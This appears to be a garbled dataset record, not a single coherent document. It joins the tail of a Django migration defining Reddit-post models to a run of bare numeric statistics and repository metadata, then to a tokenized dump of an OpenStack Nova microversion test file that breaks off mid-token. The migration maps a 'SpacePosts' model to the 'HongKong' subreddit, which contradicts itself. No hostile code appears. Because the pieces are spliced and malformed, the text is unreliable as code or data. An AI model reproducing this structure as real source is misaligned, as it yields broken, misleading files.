options={ 'verbose_name_plural': 'Progressive Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='RealTechPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='realtech', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Realtech Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='SingaporePosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='singapore', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Singapore Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='SocialismPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='socialism', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Socialism Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='SpacePosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='HongKong', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Space Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='TaiwanPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='taiwan', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Taiwan Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='TechnologyPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='technology', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Technology Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='TechPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='tech', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Tech Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='ThailandPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='Thailand', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'Thailand Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.CreateModel( name='UKPoliticsPosts', fields=[ ('id', models.CharField(db_index=True, max_length=20, primary_key=True, serialize=False)), ('title', models.CharField(max_length=300)), ('content', models.TextField(null=True)), ('upvote_ratio', models.FloatField(null=True)), ('score', models.IntegerField(null=True)), ('num_comments', models.IntegerField(null=True)), ('created_on', models.DateTimeField()), ('stickied', models.BooleanField(null=True)), ('over_18', models.BooleanField(null=True)), ('spoiler', models.BooleanField(null=True)), ('author_is_gold', models.BooleanField(null=True)), ('author_mod', models.BooleanField(null=True)), ('author_has_verified_email', models.BooleanField(null=True)), ('permalink', models.CharField(max_length=300, null=True)), ('author', models.CharField(max_length=300)), ('author_created', models.DateTimeField()), ('comment_karma', models.IntegerField(null=True)), ('subreddit', models.CharField(default='ukpolitics', editable=False, max_length=200)), ], options={ 'verbose_name_plural': 'UK Politics Subreddit Posts', 'ordering': ['created_on'], 'abstract': False, }, ), migrations.RenameModel( old_name='SubredditPostModel', new_name='WorldNewsPosts', ), migrations.AlterModelOptions( name='worldnewsposts', options={'ordering': ['created_on'], 'verbose_name_plural': 'World News Subreddit Posts'}, ), ]
53.962012
107
0.546357
4,612
52,559
6.062012
0.034042
0.116747
0.160527
0.189713
0.95225
0.95225
0.95225
0.95225
0.95225
0.895415
0
0.015769
0.306246
52,559
973
108
54.017472
0.75098
0.000856
0
0.849018
1
0
0.175408
0.016625
0
0
0
0
0
1
0
false
0
0.001034
0
0.004137
0
0
0
0
null
0
0
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9
cd8e5ff5ebd22514201be60c7d2423412925abd7
34,322
py
Python
nova/tests/unit/api/openstack/compute/test_microversions.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
null
null
null
nova/tests/unit/api/openstack/compute/test_microversions.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
null
null
null
nova/tests/unit/api/openstack/compute/test_microversions.py
bopopescu/nova-token
ec98f69dea7b3e2b9013b27fd55a2c1a1ac6bfb2
[ "Apache-2.0" ]
2
2017-07-20T17:31:34.000Z
2020-07-24T02:42:19.000Z
begin_unit comment|'# Copyright 2014 IBM Corp.' nl|'\n' comment|'#' nl|'\n' comment|'# Licensed under the Apache License, Version 2.0 (the "License"); you may' nl|'\n' comment|'# not use this file except in compliance with the License. You may obtain' nl|'\n' comment|'# a copy of the License at' nl|'\n' comment|'#' nl|'\n' comment|'# http://www.apache.org/licenses/LICENSE-2.0' nl|'\n' comment|'#' nl|'\n' comment|'# Unless required by applicable law or agreed to in writing, software' nl|'\n' comment|'# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT' nl|'\n' comment|'# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the' nl|'\n' comment|'# License for the specific language governing permissions and limitations' nl|'\n' comment|'# under the License.' nl|'\n' nl|'\n' name|'import' name|'mock' newline|'\n' name|'from' name|'oslo_serialization' name|'import' name|'jsonutils' newline|'\n' nl|'\n' name|'from' name|'nova' op|'.' name|'api' op|'.' name|'openstack' name|'import' name|'api_version_request' name|'as' name|'api_version' newline|'\n' name|'from' name|'nova' name|'import' name|'test' newline|'\n' name|'from' name|'nova' op|'.' name|'tests' op|'.' name|'unit' op|'.' name|'api' op|'.' name|'openstack' name|'import' name|'fakes' newline|'\n' nl|'\n' nl|'\n' DECL|class|MicroversionsTest name|'class' name|'MicroversionsTest' op|'(' name|'test' op|'.' name|'NoDBTestCase' op|')' op|':' newline|'\n' nl|'\n' DECL|variable|header_name indent|' ' name|'header_name' op|'=' string|"'X-OpenStack-Nova-API-Version'" newline|'\n' nl|'\n' DECL|member|_test_microversions name|'def' name|'_test_microversions' op|'(' name|'self' op|',' name|'app' op|',' name|'req' op|',' name|'ret_code' op|',' name|'ret_header' op|'=' name|'None' op|')' op|':' newline|'\n' indent|' ' name|'req' op|'.' name|'environ' op|'[' string|"'CONTENT_TYPE'" op|']' op|'=' string|'"application/json"' newline|'\n' nl|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'ret_code' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'if' name|'ret_header' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'assertEqual' op|'(' name|'ret_header' op|',' nl|'\n' name|'res' op|'.' name|'headers' op|'[' name|'self' op|'.' name|'header_name' op|']' op|')' newline|'\n' dedent|'' name|'return' name|'res' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_no_header name|'def' name|'test_microversions_no_header' op|'(' name|'self' op|',' name|'mock_namespace' op|')' op|':' newline|'\n' indent|' ' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions'" op|')' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'val'" op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_return_header name|'def' name|'test_microversions_return_header' op|'(' name|'self' op|',' name|'mock_namespace' op|')' op|':' newline|'\n' indent|' ' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions'" op|')' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'val'" op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|'"2.1"' op|',' name|'res' op|'.' name|'headers' op|'[' name|'self' op|'.' name|'header_name' op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'header_name' op|',' name|'res' op|'.' name|'headers' op|'[' string|"'Vary'" op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_return_header_non_default name|'def' name|'test_microversions_return_header_non_default' op|'(' name|'self' op|',' name|'mock_namespace' op|',' nl|'\n' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"2.3"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'2.3'" op|'}' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'val2'" op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|'"2.3"' op|',' name|'res' op|'.' name|'headers' op|'[' name|'self' op|'.' name|'header_name' op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'header_name' op|',' name|'res' op|'.' name|'headers' op|'[' string|"'Vary'" op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_return_header_fault name|'def' name|'test_microversions_return_header_fault' op|'(' name|'self' op|',' name|'mock_namespace' op|',' nl|'\n' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"3.0"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'3.0'" op|'}' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'400' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|'"3.0"' op|',' name|'res' op|'.' name|'headers' op|'[' name|'self' op|'.' name|'header_name' op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'header_name' op|',' name|'res' op|'.' name|'headers' op|'[' string|"'Vary'" op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|_check_microversion_response name|'def' name|'_check_microversion_response' op|'(' name|'self' op|',' name|'url' op|',' name|'req_version' op|',' name|'resp_param' op|',' nl|'\n' name|'mock_namespace' op|',' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|"'2.3'" op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' name|'url' op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' name|'req_version' op|'}' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'resp_param' op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' nl|'\n' DECL|member|test_microversions_with_header dedent|'' name|'def' name|'test_microversions_with_header' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'_check_microversion_response' op|'(' string|"'/v2/fake/microversions'" op|',' nl|'\n' string|"'2.3'" op|',' string|"'val2'" op|')' newline|'\n' nl|'\n' DECL|member|test_microversions_with_header_exact_match dedent|'' name|'def' name|'test_microversions_with_header_exact_match' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'_check_microversion_response' op|'(' string|"'/v2/fake/microversions'" op|',' nl|'\n' string|"'2.2'" op|',' string|"'val2'" op|')' newline|'\n' nl|'\n' DECL|member|test_microversions2_no_2_1_version dedent|'' name|'def' name|'test_microversions2_no_2_1_version' op|'(' name|'self' op|')' op|':' newline|'\n' indent|' ' name|'self' op|'.' name|'_check_microversion_response' op|'(' string|"'/v2/fake/microversions2'" op|',' nl|'\n' string|"'2.3'" op|',' string|"'controller2_val1'" op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions2_later_version name|'def' name|'test_microversions2_later_version' op|'(' name|'self' op|',' name|'mock_namespace' op|',' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"3.1"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions2'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'3.0'" op|'}' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'202' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'controller2_val2'" op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions2_version_too_high name|'def' name|'test_microversions2_version_too_high' op|'(' name|'self' op|',' name|'mock_namespace' op|',' nl|'\n' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"3.5"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions2'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'3.2'" op|'}' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'404' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions2_version_too_low name|'def' name|'test_microversions2_version_too_low' op|'(' name|'self' op|',' name|'mock_namespace' op|')' op|':' newline|'\n' indent|' ' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions2'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'2.1'" op|'}' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'404' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_global_version_too_high name|'def' name|'test_microversions_global_version_too_high' op|'(' name|'self' op|',' name|'mock_namespace' op|',' nl|'\n' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"3.5"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions2'" op|')' newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'3.7'" op|'}' newline|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'406' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'res_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|'"Version 3.7 is not supported by the API. "' nl|'\n' string|'"Minimum is 2.1 and maximum is 3.5."' op|',' nl|'\n' name|'res_json' op|'[' string|"'computeFault'" op|']' op|'[' string|"'message'" op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.APIRouterV21.api_extension_namespace"' op|',' nl|'\n' name|'return_value' op|'=' string|"'nova.api.v21.test_extensions'" op|')' newline|'\n' DECL|member|test_microversions_schema name|'def' name|'test_microversions_schema' op|'(' name|'self' op|',' name|'mock_namespace' op|',' name|'mock_maxver' op|')' op|':' newline|'\n' indent|' ' name|'mock_maxver' op|'.' name|'return_value' op|'=' name|'api_version' op|'.' name|'APIVersionRequest' op|'(' string|'"3.3"' op|')' newline|'\n' nl|'\n' name|'app' op|'=' name|'fakes' op|'.' name|'wsgi_app_v21' op|'(' name|'init_only' op|'=' string|"'test-microversions'" op|')' newline|'\n' name|'req' op|'=' name|'fakes' op|'.' name|'HTTPRequest' op|'.' name|'blank' op|'(' string|"'/v2/fake/microversions3'" op|')' newline|'\n' name|'req' op|'.' name|'method' op|'=' string|"'POST'" newline|'\n' name|'req' op|'.' name|'headers' op|'=' op|'{' name|'self' op|'.' name|'header_name' op|':' string|"'2.2'" op|'}' newline|'\n' name|'req' op|'.' name|'environ' op|'[' string|"'CONTENT_TYPE'" op|']' op|'=' string|'"application/json"' newline|'\n' name|'req' op|'.' name|'body' op|'=' name|'jsonutils' op|'.' name|'dump_as_bytes' op|'(' op|'{' string|"'dummy'" op|':' op|'{' string|"'val'" op|':' string|"'foo'" op|'}' op|'}' op|')' newline|'\n' nl|'\n' name|'res' op|'=' name|'req' op|'.' name|'get_response' op|'(' name|'app' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' number|'200' op|',' name|'res' op|'.' name|'status_int' op|')' newline|'\n' name|'resp_json' op|'=' name|'jsonutils' op|'.' name|'loads' op|'(' name|'res' op|'.' name|'body' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|"'create_val1'" op|',' name|'resp_json' op|'[' string|"'param'" op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' string|'"2.2"' op|',' name|'res' op|'.' name|'headers' op|'[' name|'self' op|'.' name|'header_name' op|']' op|')' newline|'\n' name|'self' op|'.' name|'assertEqual' op|'(' name|'self' op|'.' name|'header_name' op|',' name|'res' op|'.' name|'headers' op|'[' string|"'Vary'" op|']' op|')' newline|'\n' nl|'\n' dedent|'' op|'@' name|'mock' op|'.' name|'patch' op|'(' string|'"nova.api.openstack.api_version_request.max_api_version"' op|')' newline|'\n' op|'@' name|'mock' op|'.' name|'patch' 